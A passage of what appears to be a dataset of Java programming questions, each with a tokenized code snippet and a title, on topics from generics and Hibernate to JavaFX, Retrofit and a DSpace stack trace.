Animal { int areaUnderControl ; @ Override public void partner ( Animal other ) { Lion lion = ( Lion ) other ; this.areaUnderControl += lion.areaUnderControl ; } } class Human implements Animal { int money ; @ Override public void partner ( Animal other ) { Human human = ( Human ) other ; this.money += human.money ; } } interface Animal < T extends Animal < T > > { void partner ( T other ) ; } class Lion implements Animal < Lion > { int areaUnderControl ; @ Override public void partner ( Lion other ) { this.areaUnderControl += other.areaUnderControl ; } } class Human implements Animal < Human > { int money ; @ Override public void partner ( Human other ) { this.money += other.money ; } } class Bear implements Animal < Lion > { int honey ; @ Override public void partner ( Lion other ) { this.honey += other.areaUnderControl ; //Problem } },Using java generics to ensure that argument received is same as class or subtype thereof +Java,In Java we need casting when converting double ( big in memory size ) to Integer ( smaller in memory size ) But in case of objects if parent class is `` Mammal '' ( small in memory size ) and its subclass is `` Human '' ( big in memory size since got more properties then mammal ) then but small to big conversionThanks in Advance .,int x = ( int ) 4.3 ; Mammal m = new Human ( ) ; //works without casting Human h = ( Human ) m ; // needs casting,Why casting direction is big to small in primitive types and small to big with objects ? +Java,"Let 's say I 've got a class called User and a class ExtendedUser , which is a subclass of User . Both classes are mapped using hibernate ( JPA ) annotations : User : ExtendedUser : Sometimes a user needs to be promoted to an ExtendedUser ; similarly an ExtendedUser sometimes needs to be demoted to a User.First question : is there any way in hibernate to perform this directly ? Not being able to find such a way I tried to do the following ( example for demoting ) : Copy the fields over from the ExtendedUser instance to a new instance of User.Delete the ExtendedUser instanceSave the User instanceHowever , this seems to automatically increment the id when trying to save the new User . All of this is being done in a transaction - could that be the cause ? However , I do not want to take them outside of the transaction , since then automatic rollback will not work if , say , the save fails.Second question ( in case the answer to the first one is no ) : how do I fix the issue of IDs automatically incrementing.Thanks in advance .",@ Entity @ Table ( `` user-table '' ) @ Inheritance ( strategy = InheritanceType.JOINED ) public class User { @ Id @ GeneratedValue @ Column ( name = `` id '' ) private Integer id ; @ Column ( name = `` name '' ) private String name ; } @ Entity @ Table ( name = `` extended-user-table '' ) @ PrimaryKeyJoinColumn ( name= '' id '' ) public class ExtendedUser extends User { @ Column ( name = `` username '' ) private String username ; @ Column ( name = `` password '' ) private String password ; },Hibernate : converting instance of subclass to instance of superclass +Java,"It seems parseDouble can accept strings with trailing spaces , but parseInt and parseLong throw an Exception.e.g . For this test caseThe results are Why the difference in behaviour ? Is that intentional ?",@ Testpublic void testNumberParsing ( ) { try { Double.parseDouble ( `` 123.0 `` ) ; System.out.println ( `` works '' ) ; } catch ( NumberFormatException e ) { System.out.println ( `` does not work '' ) ; } try { Integer.parseInt ( `` 123 `` ) ; System.out.println ( `` works '' ) ; } catch ( NumberFormatException e ) { System.out.println ( `` does not work '' ) ; } try { Long.parseLong ( `` 123 `` ) ; System.out.println ( `` works '' ) ; } catch ( NumberFormatException e ) { System.out.println ( `` does not work '' ) ; } } worksdoes not workdoes not work,Difference in behaviour between Double.parseDouble and Integer.parseInt +Java,"Note : I am not using the code generator of JooqIn the DAO unit test , the DAO is tested to ensure that after a object has been inserted that the DAO sets the Id as returned by the last_insert_id ( ) from the database . No actual database is contacted since I 'm using the MockConnection and MockDataProvider of JOOQ.When the following is executed by the DAO : JOOQ executes the following query : In my MockDataProvider I check when this query is executed and return a result accordingly : When the above MockResult is returned , I get the following exceptionWhat is the correct way to populate the MockResult for the last_insert_id ( ) query ?","DSLContext ctx = DSL.using ( connection , SQLDialect.MYSQL ) ; //insert//get idBigInteger id = ctx.lastId ( ) ; select last_insert_id ( ) from dual ; import static org.jooq.impl.DSL.dual ; //other code @ Overridepublic MockResult [ ] execute ( MockExecuteContext ctx ) throws SQLException { Field < BigInteger > id = DSL.field ( `` '' , BigInteger.class ) ; Record record = dual ( ) .newRecord ( ) ; record.setValue ( id , BigInteger.valueOf ( 1234567 ) ) ; return new MockResult [ ] { new MockResult ( record ) } ; } java.lang.IllegalArgumentException : Field ( ) is not contained in Row ( )","Using the MockDataProvider of JOOQ , how do I set the lastId ( ) that gets returned ?" +Java,"When I run this test ( using jmockit and TestNG , not sure if that 's relevant ) : I get this exception : I am using build 177.I can rerun the test using -- add-reads java.base=java.desktop argument and it works fine but I do n't really understand what is happening here.Why am I getting that exception ?",public class Test { @ Test public void test ( @ Mocked ProcessBuilder pb ) throws IOException { new Expectations ( ) { { pb.start ( ) ; result = null ; } } ; assertNull ( m ( ) ) ; } public static Process m ( ) throws IOException { return new ProcessBuilder ( `` '' ) .start ( ) ; } } java.lang.IllegalAccessError : class java.lang.ProcessBuilder ( in module java.base ) can not access class javax.print.PrintException ( in module java.desktop ) because module java.base does not read module java.desktopat java.base/java.lang.ProcessBuilder.start ( ProcessBuilder.java ) ... .,module java.base does not read module java.desktop +Java,"I am trying to add feature of Sheduled Task in android to do something after a time like I want to know whenever user loss his internet connection then I want to make a alert dialog . So I am doing it using Sheduled Task Execution but whenever I putted my run code in Runnable , Task didnot work.Important is I am doing this in service classCODE ISwhen I did not doing something in sheduled task and printing single line then work fine like log.e ( `` '' , '' I 'm running after 15 sec '' ) -- > > print line in logbut when I put my code then it not work , like code did not run . Can Anyone suggest something , it will be really helpful for noob .","package com.example.sid.marwadishaadi.LoginHistory ; import android.app.Service ; import android.content.Context ; import android.content.DialogInterface ; import android.content.Intent ; import android.content.SharedPreferences ; import android.net.ConnectivityManager ; import android.net.NetworkInfo ; import android.os.AsyncTask ; import android.os.IBinder ; import android.provider.Settings ; import android.support.v7.app.AlertDialog ; import android.util.Log ; import android.widget.Toast ; import java.util.concurrent.Executors ; import java.util.concurrent.ScheduledExecutorService ; import java.util.concurrent.TimeUnit ; import static com.bumptech.glide.gifdecoder.GifHeaderParser.TAG ; public class OnClearFromRecentService extends Service { @ Override public IBinder onBind ( Intent intent ) { return null ; } @ Override public int onStartCommand ( Intent intent , int flags , int startId ) { Log.e ( `` ClearFromRecentService- '' , `` -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -Service Started '' ) ; SharedPreferences sharedPreferences=getSharedPreferences ( `` userinfo '' , MODE_PRIVATE ) ; SharedPreferences.Editor edtr=sharedPreferences.edit ( ) ; String id=sharedPreferences.getString ( `` customer_id '' , '' '' ) ; Log.e ( TAG , `` onStartCommand : ... ... ... ... ... ... ... ... .. '' +id ) ; if ( isOnline ( ) ) { Toast.makeText ( this , `` You are online '' , Toast.LENGTH_SHORT ) .show ( ) ; } ScheduledExecutorService scheduleTaskExecutor = Executors.newScheduledThreadPool ( 5 ) ; scheduleTaskExecutor.scheduleAtFixedRate ( new Runnable ( ) { public void run ( ) { Log.i ( TAG , `` run : -- -- I 'm running after 15 seconds '' ) ; if ( isOnline ( ) ) { //Dummy TODO , you can do something if you want , Toast.makeText ( OnClearFromRecentService.this , `` You are not online '' , Toast.LENGTH_SHORT ) .show ( ) ; } else { Log.i ( TAG , `` run : -- - exited from here or not : : : : yes `` ) ; AlertDialog.Builder network =new AlertDialog.Builder ( OnClearFromRecentService.this ) ; network.setTitle ( `` No Internet '' ) ; network.setMessage ( `` Please check your internet connection or go to the internet option by clicking # settings '' ) ; network.setPositiveButton ( `` Settings '' , new DialogInterface.OnClickListener ( ) { @ Override public void onClick ( DialogInterface dialogInterface , int i ) { getApplicationContext ( ) .startActivity ( new Intent ( Settings.ACTION_WIRELESS_SETTINGS ) ) ; } } ) ; network.setNegativeButton ( `` Exit '' , new DialogInterface.OnClickListener ( ) { @ Override public void onClick ( DialogInterface dialogInterface , int i ) { Intent intent = new Intent ( Intent.ACTION_MAIN ) ; intent.addCategory ( Intent.CATEGORY_HOME ) ; intent.setFlags ( Intent.FLAG_ACTIVITY_NEW_TASK ) ; startActivity ( intent ) ; } } ) ; network.setCancelable ( false ) ; AlertDialog alertDialog = network.create ( ) ; alertDialog.show ( ) ; } } } , 0 , 15 , TimeUnit.SECONDS ) ; return START_NOT_STICKY ; } public boolean isOnline ( ) { ConnectivityManager conMgr = ( ConnectivityManager ) getApplicationContext ( ) .getSystemService ( Context.CONNECTIVITY_SERVICE ) ; NetworkInfo netInfo = conMgr.getActiveNetworkInfo ( ) ; if ( netInfo == null || ! netInfo.isConnected ( ) || ! netInfo.isAvailable ( ) ) { Toast.makeText ( getApplicationContext ( ) , `` No Internet connection ! `` , Toast.LENGTH_LONG ) .show ( ) ; return false ; } return true ; } @ Override public void onDestroy ( ) { super.onDestroy ( ) ; Log.e ( `` ClearFromRecentService- '' , `` -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -Service Destroyed '' ) ; } @ Override public void onTaskRemoved ( Intent rootIntent ) { Log.e ( `` Clearvi -- -- -- -- -- -- -- '' , `` -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -END '' ) ; //Code here stopSelf ( ) ; } }",Why the code in schedule Task Execution fixed Rate not working ? +Java,"I 'm honestly not sure if the title fits the question completely , but here it is anyway . I 'm making a simple game in java where alien spaceships fall down from the top of the screen and if you do n't kill them and they get to the bottom of the screen , the space station takes damage . But whenever the space station gets destroyed , the message-box that should tell the player that they died , wo n't stop appearing , it just keeps popping up over and over again . And in the console I get an error message that wo n't stop getting bigger ! This is the code I have for the space station 's health : } Apparently the line that the error is on is the JOptionPane.showMessageDialog ( null , `` You died on level `` Here 's the error message : Thank you for your time .","public class SpaceStation extends Entity { public static int stationHealth = 100 ; public SpaceStation ( int x , int y ) { super ( x , y ) ; } public void update ( ) { } public void draw ( Graphics2D g2d ) { g2d.drawImage ( ImageLocator.getSpaceStation ( ) , 0 , 595 , null ) ; // HEALTH BAR g2d.fillRect ( 5 , 25 , stationHealth , 10 ) ; if ( stationHealth < = 0 ) { try { JOptionPane.showMessageDialog ( null , `` You died on level `` + GameFrame.level + `` . Better luck next time ! `` ) ; GameFrame.mainTimer.stop ( ) ; System.exit ( 0 ) ; } catch ( Exception e ) { JOptionPane.showMessageDialog ( null , e.getMessage ( ) ) ; System.exit ( 0 ) ; } } } public Rectangle getBounds ( ) { return new Rectangle ( x , y , 600 , 200 ) ; } at java.lang.Thread.run ( Unknown Source ) Exception in thread `` AWT-EventQueue-0 '' java.lang.InternalError : The current process has used all of its system allowance of handles for Window Manager objects.at sun.awt.windows.WToolkit.eventLoop ( Native Method ) at sun.awt.windows.WToolkit.run ( Unknown Source ) at java.lang.Thread.run ( Unknown Source ) Exception in thread `` AWT-EventQueue-0 '' java.lang.InternalError : The current process has used all of its system allowance of handles for Window Manager objects .",Message Boxes wont ' stop appearing +Java,"Not sure if what I want is possible but I am trying to create an enum in which each member has its own inner class . These inner classes will all have the same name Context but will be implemented individually.Ideally I would like them to be usable as such : Open to other way of implementing this . But basically I need a switchable enum where each member has a `` value '' ( 1,2,3 ... ) and also a means of associating said enums with a unique class with constructor.EDIT : Some background . This is to be used between two services who communicate via JSON http requests . The requests will contain some metadata , one field of which is an integer that maps to the enum . The context is a POJO , but is different for each ENUM_VALUE . Essentially , the context will be constructed and serialized into JSON . This json will effectively be just a String field called context within the top level json request . On the receiving service , there will be a switch on ENUM_VALUE , where the context is decoded appropriately and then dispatched to its appropriate handler.EDIT2 : This enum will be shared between the two services.EDIT3 : Here is a more explicit explanation of what I am attempting to do.MyServiceRequest : generating request : decoding request :","private handleType ( MyEnum type ) { switch ( type ) { case ENUM_VAL1 : MyEnum.ENUM_VAL1.Context context = new MyEnum.ENUM_VAL1.Context ( ) ; handleContext1 ( context ) ; break ; case ENUM_VAL2 : MyEnum.ENUM_VAL2.Context context = new MyEnum.ENUM_VAL1.Context ( ) ; handleContext2 ( context ) ; break ; case ENUM_VAL3 : MyEnum.ENUM_VAL3.Context context = new MyEnum.ENUM_VAL1.Context ( ) ; handleContext3 ( context ) ; break ; default : break ; } public class MyServiceRequest { String meta1 ; String meta2 ; int typeID ; String context ; } MyServiceRequest req = new MyServiceRequest ( ) ; req.meta1 = ... req.meta2 = ... req.typeID = MyEnum.ENUM_VALUE.getCode ( ) ; // intMyEnum.ENUM_VALUE.Context context = new MyEnum.ENUM_VALUE.Context ( ) ; // factory would be fine as well ... // populate contextreq.context = toJSON ( context ) ; requestJSON = toJSON ( req ) ; post ( requestJSON ) ; MyServiceRequest req = ... MyEnum type = new MyEnum ( req.typeID ) ; switch ( type ) { case ENUM_VALUE : MyEnum.ENUM_VALUE.Context context = fromJSON ( req.context , MyEnum.ENUM_VALUE.Context.class ) ; doSomething ( context ) ;",Inner class for each member of enum ? +Java,"I 'm very new in learning Clojure . This intended to be my first and very simple Clojure tries in which I call a simple Clojure method from inside java code . Unfortunately it does not work . The Compilation is successful and from the Clojure REPL the written function does as it was ordered , but when calling from Java it says the following : Here is the very simple Clojure code : And the java part : What did I do wrong ? ( Note again : This is primitve test code just to make a first successful function call ) Thanks for the help , I 'm clueless .",Exception in thread `` main '' java.lang.IllegalArgumentException : Wrong number of args ( 2 ) passed to : ClojNum $ -myinc at clojure.lang.AFn.throwArity ( AFn.java:439 ) at clojure.lang.AFn.invoke ( AFn.java:43 ) at com.experimental.clojure.test.ClojNum.myinc ( Unknown Source ) at com.experimental.clojure.java.JavaCaller.main ( JavaCaller.java:14 ) ( ns com.experimental.clojure.test.ClojNum ( : gen-class : init init : name com.experimental.clojure.test.ClojNum : methods [ [ myinc [ int ] int ] ] ) ) ( defn -init [ ] [ [ ] ( atom [ ] ) ] ) ( defn myinc `` comment '' [ x ] ( + x 1 ) ) ( defn -myinc `` comment '' [ x ] ( myinc x ) ) package com.experimental.clojure.java ; import com.experimental.clojure.test.ClojNum ; public class JavaCaller { /** * @ param args */ public static void main ( String [ ] args ) { int i = 0 ; System.out.println ( i ) ; ClojNum c = new ClojNum ( ) ; i = c.myinc ( 0 ) ; System.out.println ( i ) ; } },Calling a very simple clojure function from Java does not work +Java,This is the sample code : Output : Inside doubleCan anyone please explain me why the overloaded method with Double parameter is called instead of that with Object ?,public class OverloadingExample { public void display ( Object obj ) { System.out.println ( `` Inside object '' ) ; } public void display ( Double doub ) { System.out.println ( `` Inside double '' ) ; } public static void main ( String args [ ] ) { new OverloadingExample ( ) .display ( null ) ; } },Type conversion and method overloading +Java,I just figured out that when I do this in Java : It ( Netbeans in this case ) will tell me I can not dereference my x integer in such a manner ( as I would in C # ) .Why is that ?,for ( int x = 0 ; x < 3 ; x++ ) { String bla = `` bla '' ; bla += x.toString ( ) ; },Dereferencing the integer value of a for loop in java +Java,"What is the difference with a method declaration like this : And this : The way I see it , both of them are specifying that the object passed in must be a subclass of type SomeClass , so why bother with the generics at all in this instance ?",public < T extends SomeClass > void doSomething ( T obj ) { // Do something . } public void doSomething ( SomeClass obj ) { // Do Something . },What is the point of T extends SomeClass ? +Java,"This is the piece of my code . I use textArea.setScrollTop ( Double.MAX_VALUE ) to scroll textarea to the bottom ( solution I found in internet ) . It works , but not always . I 've noted that it can not work only when vertical scroll bar is not visible before calling this code and visible after the code was executed . When vertical scroll bar is visible before calling this code then scrolling to the bottom works always . How to fix it ? Maybe I should make vertical scroll bar always visible ? If yes , then how - I did n't find the solution.EDIT : This is the sample code : This is the result when I pressed button 4 times : As you see it did n't scroll to the bottom . After I press button again ( the fifth time ) I have the following result : Now , as you see it was scrolled to the bottom . I tried to add : to make scrollbar visible always - it is visible but after 4 times anyway does n't scroll to the bottom.How to fix it ?","textArea.setText ( someNewText ) textArea.positionCaret ( textArea.getText ( ) .length ( ) ) ; textArea.setEditable ( true ) ; textArea.setScrollTop ( Double.MAX_VALUE ) ; public class JavaFxApp1 extends Application { private TextArea textArea ; @ Override public void start ( Stage stage ) throws Exception { Button button=new Button ( `` Press here '' ) ; textArea=new TextArea ( ) ; VBox vbox = new VBox ( button , textArea ) ; button.setOnAction ( ( event ) - > { textArea.appendText ( `` # # # This is a very long string : some text some text some text some text some '' + `` text some text some text some text some text some text '' + `` text some text some text some text some text some text '' + `` text some text some text some text some text some text .\n '' ) ; textArea.selectEnd ( ) ; textArea.deselect ( ) ; textArea.setScrollTop ( Double.MAX_VALUE ) ; } ) ; textArea.setEditable ( true ) ; textArea.setWrapText ( true ) ; textArea.setStyle ( `` -fx-font-size:14px ; -fx-focus-color : transparent ; -fx-font-family : monospace ; '' ) ; Scene scene=new Scene ( vbox ) ; stage.setTitle ( `` SomeTitle '' ) ; stage.setScene ( scene ) ; stage.setMinHeight ( 400 ) ; stage.setMinWidth ( 800 ) ; stage.show ( ) ; } } ScrollPane scrollPane = ( ScrollPane ) textArea.lookup ( `` .scroll-pane '' ) ; scrollPane.setVbarPolicy ( ScrollBarPolicy.ALWAYS ) ;",JavaFX : textArea.setScrollTop ( Double.MAX_VALUE ) not always works +Java,"In this implementation of Quick Find algorithm , Constructor takes N steps so does union ( ) .The instructor said that union is too expensive as it takes N^2 to process sequence of N union commands on N objects , How can union be quadratic when it accesses array elements one at a time ?","public class QuickFind { private int [ ] id ; public QuickFind ( int N ) { id = new int [ N ] ; for ( int i=0 ; i < N ; i++ ) { id [ i ] = i ; } } public boolean connected ( int p , int q ) { return id [ p ] == id [ q ] ; } public void union ( int p , int q ) { int pid = id [ p ] ; int qid = id [ q ] ; for ( int i=0 ; i < id.length ; i++ ) if ( id [ i ] == pid ) id [ i ] = qid ; } }",How is union find quadratic algorithm ? +Java,"In Java I have the possibility to `` implement '' annotations.Sample Java annotation : Sample Java `` implementation '' : Trying to port that to Kotlin does n't work as it says that the annotation is final and therefore can not be inherited , i.e . the following will not work : How do you `` implement/extend '' annotations the Kotlin way ? Could not find any reason why Kotlin differs in that regard to Java . Any hint how to solve that problem or any sources that tell why it is that way are welcome.The following question contains a use case for this constellation : Dynamically fire CDI event with qualifier with members.Basically you require something like this to narrow down which qualifier should trigger based on its members.Note that this would also apply to a Kotlin annotation as well as it seems that a Kotlin annotation can not be open and therefore not be implemented/extended too.What I found so far is rather mentioning @ Inherited as a problem : https : //discuss.kotlinlang.org/t/inherited-annotations-and-other-reflections-enchancements/6209https : //youtrack.jetbrains.com/issue/KT-22265But I did not find any reason why the annotation is not implementable/inheritable as it is in Java.I also asked this question now here : https : //discuss.kotlinlang.org/t/implement-inherit-extend-annotation-in-kotlin/8916Update : Finally I found something regarding this design decision , namely the following issue ( while I was opening my own issue for it ) : Annotations inheritance . Either prohibit or implement correctly . As it seems the decision was to `` prohibit '' it , even though there are no ( visible ? ) comments , discussions or other sources about that decision.Added the following issue : https : //youtrack.jetbrains.com/issue/KT-25947","@ Target ( ElementType.TYPE ) @ Retention ( RetentionPolicy.RUNTIME ) public @ interface JavaClassAnno { String [ ] value ( ) ; } class MyAnnotationLiteral extends AnnotationLiteral < JavaClassAnno > implements JavaClassAnno { // < -- - works in Java private String value ; public MyAnnotationLiteral ( String value ) { this.value = value ; } @ Override public String [ ] value ( ) { return new String [ ] { value } ; } } class MyAnnotationLiteral ( private val internalValue : String ) : AnnotationLiteral < JavaClassAnno > ( ) , JavaClassAnno { // < -- - does n't work in Kotlin ( annotation can not be inherited ) override fun value ( ) : Array < String > { return arrayOf ( internalValue ) } }",Implement ( /inherit/~extend ) annotation in Kotlin +Java,"I 'm trying to figure out how it would be more efficient to type a declaration of a collection type with a generic.Typing : Automatically expands to : ( cursor position is marked with `` | '' ) Typingusing the autocomplete it gets tonotice the cursor positionNow the question : how could it be possible to get to the following state without using the arrow keys : Ideally , id like to use statement autocompletion for this , but it rather jumps to the new line which is not desired in this situation .",List < List < | > List < St| > List < String| > List < String > |,IntelliJ IDEA auto-completion for collection type declaration with generics +Java,"I have some Java annotations of a method , how can I know the order of each annotation aspect ? And how I can specify the order of them.Cacheable is from SpringCache and HystrixCommand is from third party package , and they are both runtime annotations , I need Cacheable to run before HystrixCommand , but can not mark them with @ order.So , how can I :1、learn the order of annotation execution ? 2、specify the order ? I have tried to search the problem , but if duplicated , please let me know .",@ MyAnnotaion @ Cacheable @ HystrixCommandpublic void MYMethod ( ) { },the execution order of java annotations +Java,I have a multi-line string and some empty lines between other lines . It looks like : I tried some regex expression with : Or But nothing is good about what I 'm looking ... Is it possible to remove only empty lines ? to get something like that :,"def msg = `` '' '' AAAAAA BBBBBB CCCCCC DDDDDD EEEEEE TEST FFFFF GGGGGG '' '' '' msg = msg.replaceAll ( ' ( \n\\\\s+\n ) + ' , `` ) msg = msg.replaceAll ( ' ( \r ? \n ) { 2 , } ' , ' $ 1 ' ) ; def msg = `` '' '' AAAAAA BBBBBB CCCCCC DDDDDD EEEEEE TEST FFFFF GGGGGG '' '' ''",Remove empty line from a multi-line string with Java +Java,"With parameterized types in Java , how do the rules that check if a parameter is within its bound work exactly for wildcards ? Given a class like this : Experimenting with what the compiler accepts learns that : A ? extends wildcard using an unrelated interface type is allowed : Foo < ? extends Runnable > is validA ? extends wildcard using an unrelated class type is not allowed : Foo < ? extends Thread > is invalid . That makes sense because no type can be a subtype of both Number and ThreadIn a ? super wildcard , the lower bound in the wildcard must be subtype of the bound of the type variable : Foo < ? super Runnable > is not allowed because Runnable is not a subtype of Number . Again , this restriction makes perfect sense.But where are these rules defined ? Looking at the Java Language Specification section 4.5 , I do n't see anything distinguishing interfaces from classes ; and when applying my interpretation of the JLS Foo < ? super Runnable > is said to be valid . So I probably misunderstood something . Here 's my attempt : From that section of the JLS : A parameterized type consists of a class or interface name C and an actual type argument list < T1 , ... , Tn > . It is a compile time error if C is not the name of a generic class or interface , or if the number of type arguments in the actual type argument list differs from the number of declared type parameters of C. In the following , whenever we speak of a class or interface type , we include the generic version as well , unless explicitly excluded . Throughout this section , let A1 , ... , An be the formal type parameters of C , and let be Bi be the declared bound of Ai . The notation [ Ai : = Ti ] denotes substitution of the type variable Ai with the type Ti , for 1 < = i < = n , and is used throughout this specification . Let P = G < T1 , ... , Tn > be a parameterized type . It must be the case that , after P is subjected to capture conversion ( §5.1.10 ) resulting in the type G < X1 , ... , Xn > , for each actual type argument Xi , 1 < = i < = n , Xi < : Bi [ A1 : = X1 , ... , An : = Xn ] ( §4.10 ) , or a compile time error occurs.Apply that to P = Foo < ? super Runnable > : that gives C = Foo , n = 1 , T1 = ? super Runnable and B1 = Number.For capture conversion this part of the definition of capture conversion applies : If Ti is a wildcard type argument of the form ? super Bi , then Si is a fresh type variable whose upper bound is Ui [ A1 : = S1 , ... , An : = Sn ] and whose lower bound is Bi.That gives G < X1 , ... , Xn > = Foo < X > where X is a fresh type variable with upper bound Number and lower bound Runnable . I do n't see anything explicitly forbidding such a type variable.There are no type variables in B1 = Number , so Bi [ A1 : = X1 , ... , An : = Xn ] is still simply Number.X has Number as upper bound ( coming from the capture conversion ) , and according to the subtyping rules `` The direct supertypes of a type variable are the types listed in its bound '' , so X < : Number ( = Bi [ A1 : = X1 , ... , An : = Xn ] ) , so this parameter is within its bounds . ( But it is n't ! ) Following the same reasoning every wildcard is within its bounds , so something here is n't right ... But where exactly did this reasoning go wrong ? How do these rules work when applied correctly ?",class Foo < T extends Number > { },What are the formal conditions for a wildcard parameter in a Java generic type to be within its bounds ? +Java,"In many points of my code , three annotations appears together : where nullValue= '' 0 '' is a parameter to the annotation SpaceProperty.Is it possible to define a single type alias for @ BeanProperty @ ( SpaceProperty @ beangetter ) ? The best I could do was : Is it possible to define a type alias for two annotations where the parameters are applied to the last one ?",@ BeanProperty @ ( SpaceProperty @ beanGetter ) ( nullValue= '' 0 '' ) type ScalaSpaceProperty = SpaceProperty @ beanGetter @ BeanProperty @ ( ScalaSpaceProperty ) ( nullValue = `` 0 '' ),Scala Type aliases for annotations +Java,I 'm a little stuck at a regular expression . Consider following code : What I want is a regular pattern that gives me the text inside the [ ] ; each one in a group of the resulting Matcher object.Important : I do n't know how many [ ] expressions are inside the input string ! For the code above it outputs : I ca n't get the regular Pattern to work . Anyone an idea ?,String regFlagMulti = `` ^ ( \\ [ ( [ \\w= ] * ? ) \\ ] ) * ? $ '' ; String flagMulti = `` [ TestFlag=1000 ] [ TestFlagSecond=1000 ] '' ; Matcher mFlagMulti = Pattern.compile ( regFlagMulti ) .matcher ( flagMulti ) ; if ( mFlagMulti.matches ( ) ) { for ( int i = 0 ; i < = mFlagMulti.groupCount ( ) ; i++ ) { System.out.println ( mFlagMulti.group ( i ) ) ; } } else { System.out.println ( `` MultiFlag did n't match ! `` ) ; } [ TestFlag=1000 ] [ TestFlagSecond=1000 ] [ TestFlagSecond=1000 ] TestFlagSecond=1000,RegEx to read multiple parameters of unknown multiplicity +Java,"I have trouble with the design of my Retrofit interface creator . I want to be able to instanciate the API interface in a generic way and update the corresponding instance whenever a token is passed . Currently , when I update the token , I have to call createService ( ) method again to get the new instance that used the token in the generation of the Interface ... Somebody asked for a similar question but never got an answer hereTo get it in each Activity I use :","public class RetrofitCreator { private static String TAG = `` RetrofitCreator '' ; private static String WSSE = null ; private static String AmzToken = null ; static HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor ( ) ; private static AmazonAPI amazonAPI = null ; private static VanishAPI cobaltAPI = null ; //static OkHttpClient client = new OkHttpClient.Builder ( ) .build ( ) ; static OkHttpClient.Builder httpClient = new OkHttpClient.Builder ( ) .addInterceptor ( interceptor.setLevel ( HttpLoggingInterceptor.Level.BODY ) ) ; private static Retrofit.Builder builder = new Retrofit.Builder ( ) ; public static < S > S createService ( Class < S > serviceClass ) { S mAPI = null ; if ( serviceClass.getSimpleName ( ) .equals ( `` VanishAPI '' ) ) { if ( VanishAPI==null ) { VanishAPI = ( VanishAPI ) createVanishAPI ( serviceClass ) ; } mAPI = ( S ) VanishAPI ; } else if ( serviceClass.getSimpleName ( ) .equals ( `` AmazonAPI '' ) ) { if ( amazonAPI==null ) { amazonAPI = ( AmazonAPI ) createAmazonAPI ( serviceClass ) ; } mAPI = ( S ) amazonAPI ; } return mAPI ; } public static void setWSSE ( String WSSE ) { RetrofitCreator.WSSE = WSSE ; vanishAPI = createVanishAPI ( VanishAPI.class ) ; } public static void setAmzToken ( String token ) { RetrofitCreator.AmzToken = token ; amazonAPI = createAmazonAPI ( AmazonAPI.class ) ; } private static < S > S createAmazonAPI ( Class < S > serviceClass ) { httpClient = getUnsafeOkHttpClient ( ) ; builder = new Retrofit.Builder ( ) .baseUrl ( Constants.URL_AMAZON ) .addConverterFactory ( JacksonConverterFactory.create ( ) ) ; if ( AmzToken ! = null ) { Log.w ( TAG , `` WSSE not null ! `` ) ; Interceptor interceptorSecure = new Interceptor ( ) { @ Override public Response intercept ( Interceptor.Chain chain ) throws IOException { Request original = chain.request ( ) ; // Request customization : add request headers Request.Builder requestBuilder = original.newBuilder ( ) .header ( `` Cache-Control '' , `` no-cache '' ) .header ( `` Accept '' , `` application/json '' ) .header ( `` Authorization '' , `` Bearer `` + AmzToken ) .method ( original.method ( ) , original.body ( ) ) ; Request request = requestBuilder.build ( ) ; return chain.proceed ( request ) ; } } ; httpClient.addInterceptor ( interceptorSecure ) ; } OkHttpClient client = httpClient.build ( ) ; Retrofit retrofit = builder.client ( client ) .build ( ) ; return retrofit.create ( serviceClass ) ; } ( ... ) } amazonApi = RetrofitCreator.createService ( AmazonAPI.class ) ;",Design pattern for retrofit interface +Java,"I installed and properly configured the dspace ( I think ) , when I use the JSPUI interface works perfectly all actions . But when I try to use the interface XMLUI Tomcat returns me the following exception.I honestly do not know WHAT is happening . If you can help me . Thank you very much ! My server logs : https : //mega.nz/ # F ! M4VFBRrC ! CFA_gT0YREm589CFELGHmwJava stacktrace : I already tried to install earlier versions however unsuccessfully.I tried to use versions of java 7/8.Tomcat 7/8",java.lang.StringIndexOutOfBoundsException : String index out of range : 5 at java.lang.String.charAt ( Unknown Source ) at org.apache.catalina.loader.WebappClassLoaderBase.filter ( WebappClassLoaderBase.java:2756 ) at org.apache.catalina.loader.WebappClassLoaderBase.loadClass ( WebappClassLoaderBase.java:1253 ) at org.apache.catalina.loader.WebappClassLoaderBase.loadClass ( WebappClassLoaderBase.java:1142 ) at org.mozilla.javascript.Kit.classOrNull ( Kit.java:88 ) at org.mozilla.javascript.NativeJavaPackage.getPkgProperty ( NativeJavaPackage.java:154 ) at org.mozilla.javascript.NativeJavaPackage.get ( NativeJavaPackage.java:105 ) at org.mozilla.javascript.ScriptableObject.getProperty ( ScriptableObject.java:1544 ) at org.mozilla.javascript.ScriptRuntime.getObjectProp ( ScriptRuntime.java:1375 ) at org.mozilla.javascript.ScriptRuntime.getObjectProp ( ScriptRuntime.java:1364 ) at org.mozilla.javascript.Interpreter.interpretLoop ( Interpreter.java:2965 ) at org.mozilla.javascript.Interpreter.interpret ( Interpreter.java:2394 ) at org.mozilla.javascript.InterpretedFunction.call ( InterpretedFunction.java:162 ) at org.mozilla.javascript.ContextFactory.doTopCall ( ContextFactory.java:393 ) at org.mozilla.javascript.ScriptRuntime.doTopCall ( ScriptRuntime.java:2834 ) at org.mozilla.javascript.InterpretedFunction.exec ( InterpretedFunction.java:173 ) at org.apache.cocoon.components.flow.javascript.fom.FOM_JavaScriptInterpreter.setupContext ( FOM_JavaScriptInterpreter.java:465 ) at org.apache.cocoon.components.flow.javascript.fom.FOM_JavaScriptInterpreter.callFunction ( FOM_JavaScriptInterpreter.java:585 ) at org.apache.cocoon.components.treeprocessor.sitemap.CallFunctionNode.invoke ( CallFunctionNode.java:109 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:55 ) at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke ( MatchNode.java:87 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke ( PipelineNode.java:143 ) at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes ( AbstractParentProcessingNode.java:78 ) at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke ( PipelinesNode.java:81 ) at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process ( 